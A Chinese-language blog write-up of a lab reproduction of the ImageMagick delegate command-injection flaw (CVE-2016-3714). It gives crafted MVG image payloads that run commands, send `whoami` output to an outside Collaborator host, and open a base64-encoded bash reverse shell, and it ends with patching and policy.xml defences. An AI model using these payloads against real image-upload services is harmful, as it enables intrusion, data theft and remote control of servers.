ImageMagick命令执行

最近在研究disable_function的一些绕过技巧,发现了这个组件导致的一些命令执行漏洞,感觉很有趣,于是学习一下,做个记录

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,这东西命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。由于存在一个委托Delegate的功能,每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的程序对文件进行处理,关键点就在于输入的内容没做过滤,可以导致一个闭合触发命令执行。下面我就用vulhub上面的一个环境去复现一下

可以看一下p牛的这篇文章,对里面的内容讲的很详细了,怎么触发。然后可以从这个文件中能够发现这一行代码,当然这只是其中的一个利用点,还可以利用其他的command去触发,p牛的文章也讲了。

ZnHLVI.png

我比较注意的是command定义了他具体带入system()执行的命令为:”wget” -q -O “%o” “https:%M”。

这里面可以注意到有几个占位符,占位符的意思如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
%i  input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

%m被定义为输入的图片格式,就是我们输入的url地址。对于此处可以做一个字符串的闭合拼接导致一个可控的逸出点。

当输入的是这样的是这样一个例子的时候,https://www.a.com"|ls "-la,拼接到上面的字符串就是”wget” -q -O “%o” “https:www.a.com"|ls “-la” ,相当于我们可以执行ls -la的命令

ZnOSxO.png

构造图片利用

ImageMagick支持通过.svg、.mvg(ImageMagick自定义的一种类似svg的格式),这种类型的文件来进行图形绘制,并允许在其中加载其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这就增加了很多利用场景。

生成一个文件内容如下,在url括号内进行闭合,并且注入你自己需要的命令,多条命令用逗号分割即可:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://a.com/image.jpg"|id; ")'
pop graphic-context

ZnjpHH.png

当然,在p牛的博客中也提出了基于这个漏洞原理的好几个CVE的利用方式,可以去尝试一下,这里我截取了我自己实现文件删除效果图

ZnvyYn.png

当然,p牛的这个环境去提供了一个上传接口触发这个漏洞,我们可以观察他的这个代码是如何去触发这个漏洞的,可以发现它是利用PHP扩展ImageMagick去触发这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞,所以这就给我们扩大利用思路的一个过程,就是不同语言ImageMagick拓展都很有可能导致这个问题,需要我们自己在实战中去测试一下啦

Zup4jx.png

这样我们就可以尝试构造一个含有payload的png图片了,但是页面没有回显,我们可以尝试去做一个DNSlog带出一部分数据,构造的payload如下,然后上传

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "`whoami`.5bhnpoiffg2hswzgylt6a5jjmas1gq.burpcollaborator.net)'
pop graphic-context

bp接收到的信息如下,可以发现成功带出数据

ZumzMF.png

当然也可以实现一个反弹shell

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://a.com/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzAuMTUwLzIzMzMgMD4mMQ== | base64 -d | bash`"|| " )'
pop graphic-context

Zuu7hq.png

小结

  1. 漏洞影响ImageMagick 6.9.3-9以前是所有版本,思路主要是构造图片,里面的payload需要设置好,让ImageMagick组件对其进行底层system函数的触发。
  2. 防御的方式,其一是通过升级到高版本组件,其二是通过配置policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate。

Referer

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

https://imagetragick.com/


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 构造图片利用
  2. 2. 小结
  3. 3. Referer